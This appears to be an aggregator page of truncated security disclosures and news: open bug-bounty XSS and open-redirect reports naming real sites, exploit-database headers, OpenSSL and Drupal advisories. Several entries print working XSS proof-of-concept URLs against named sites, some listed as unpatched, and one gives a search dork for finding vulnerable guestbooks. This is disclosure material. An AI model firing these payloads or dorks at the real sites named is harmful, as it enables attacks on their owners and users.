czestochowa.wku.wp.mil.pl XSS vulnerability

Vulnerable URL: http://czestochowa.wku.wp.mil.pl/files/czestochowa/file/filmy/mediaplayer.swf?file=http://content.bitsontherun.com/videos/bkaovAYt-364766.flv=falseℑ=http://appsec.ws/ExploitDB/cMon.jpg=true=javascript:confirm/openbugbounty/;//=blank&.swf Details: Description| Value ---|--- Patched...

Alex Guestbook 5.0.4 Cross Site Scripting

Exploit Title: Alex Guestbook Version 5.0.4 - Cross Site Scripting Exploit Author: Persian Hack Team Discovered by : Mojtaba MobhaM Mojtaba Kazemi Vendor Home : http://www.alexguestbook.net/ Home : http://persian-team.ir/ Google Dork : inurl:alexguestbook3 Telegram Channel: @PersianHackTeam Teste...

glghs.ntpc.edu.tw XSS vulnerability

Vulnerable URL: http://www.glghs.ntpc.edu.tw/school/newscon.php?lang=%22%3Etro%20lo%3Ci%3Etralala%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E=453=1=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

mit4mit.co.il Open Redirect vulnerability

Vulnerable URL: https://www.mit4mit.co.il/redirecturl/?type=website=www.openbugbounty.org=asdfid=111 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 441560 VIP website...

Vulnerability in OpenSSL - SSL_peek() hang on empty record

OpenSSL 1.1.0 SSL/TLS will hang during a call to SSLpeek if the peer sends an empty record. This could be exploited by a malicious peer in a Denial Of Service attack. Found by Alex Gaynor...

Drupal Core - Critical - Multiple Vulnerabilities - SA-CORE-2016-004

Users without "Administer comments" can set comment visibility on nodes they can edit. Less critical Users who have rights to edit a node, can set the visibility on comments for that node. This should be restricted to those who have the administer comments permission. Cross-site Scripting in http...

Infoblox 7.0.1 CRLF Injection / HTTP Response Splitting

Exploit Title: CVE-2016-6484 Infoblox Network Automation CRLF Injection/ HTTP splitting vulnerability Product: Infoblox Network Automation Vulnerable Versions: 7.0.1 and all previous versions Tested Version: 6.9.2 Advisory Publication: 06/09/2016 Vulnerability Type: CWE-113: Improper Neutralizati...

Neoscreen 4.5 Cross Site Scripting

Exploit Title: Neoscreen Cross-site scripting Product: Neoscreen by Cube Digital Media Vulnerable Versions: 4.5 and all previous versions Tested Version: 4.5 Advisory Publication: July 24, 2016 Vulnerability Type: Cross-Site Scripting CWE-79 CVE Reference: NONE Credit: Alex Haynes Advisory Detail...

Facebook Messenger adds End-to-End Encryption (Optional) for Secret Conversations

Facebook has begun rolling out end-to-end encryption for its Messenger app, thus making its users' conversations completely private. The end-to-end encryption feature, dubbed "Secret Conversations," will allow Messenger users to send and receive messages in a way that no one, including the FBI wi...

g2mi.com XSS vulnerability

Vulnerable URL: http://www.g2mi.com/companydescription.php?id=%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 10:09 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

Notilus Travel Solution Software 2012 R3 - SQL Injection

Exploit Title: Notilus SQL injection Product: Notilus travel solution software Vulnerable Versions: 2012 R3 Tested Version: 2012 R3 Advisory Publication: 03/06/2016 Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command 'SQL Injection' CWE-89 CVE Reference: NONE...

Notilus Travel Solution Software 2012 R3 - SQL Injection

Exploit for php platform in category web applications Exploit Title: Notilus SQL injection Product: Notilus travel solution software Vulnerable Versions: 2012 R3 Tested Version: 2012 R3 Advisory Publication: 03/06/2016 Vulnerability Type: Improper Neutralization of Special Elements used in an SQL...

Notilus 2012 R3 SQL Injection

Exploit Title: Notilus SQL injection Product: Notilus travel solution software Vulnerable Versions: 2012 R3 Tested Version: 2012 R3 Advisory Publication: 03/06/2016 Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command 'SQL Injection' CWE-89 CVE Reference: NONE...

Vulnerability in OpenSSL - Divide-and-conquer session key recovery in SSLv2

This issue only affected versions of OpenSSL prior to March 19th 2015 at which time the code was refactored to address vulnerability CVE-2015-0293. s2srvr.c did not enforce that clear-key-length is 0 for non-export ciphers. If clear-key bytes are present for these ciphers, they displace...

results.mu.ac.in XSS vulnerability

Vulnerable URL: http://results.mu.ac.in/choosenoc.php?examid=3691year=%27%22%3E%20111%3Cimg%20src=1%20onerror=confirm/xssposed/%3Emonth=APR Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

numerology369.com XSS vulnerability

Vulnerable URL: http://numerology369.com/numerologychart.php?firstname=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5668785 Google...

Yahoo Hires Bob Lord as CISO

Yahoo has filled the vacancy in its CISO office, today announcing the hiring of former Twitter and Rapid7 security executive Bob Lord. Lord starts in his new role Nov. 9. He was most recently Rapid7’s CISO-in-residence; he has spent much of the last two decades in high-profile security positions...

Yahoo Transparency Report Shows Requests for Data Up

Yahoo this week published its transparency report for the first six months of the year and the numbers indicate that government requests for data on its users are up slightly after sharp dropoff for the report covering the last six months of 2014. Yahoo said that it received 5,221 government data...

Qlikview 11.20 SR11 - Blind XXE Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: Qlikview blind XXE security vulnerability Product: Qlikview Vulnerable Versions: v11.20 SR11 and previous versions Tested Version: v11.20 SR4 Advisory Publication: 08/09/2015 Latest Update: 08/09/2015 Vulnerability Type: Imprope...

Qlikview 11.20 SR11 - Blind XML External Entity Injection

Exploit Title: Qlikview blind XXE security vulnerability Product: Qlikview Vulnerable Versions: v11.20 SR11 and previous versions Tested Version: v11.20 SR4 Advisory Publication: 08/09/2015 Latest Update: 08/09/2015 Vulnerability Type: Improper Restriction of XML External Entity Reference CWE-611...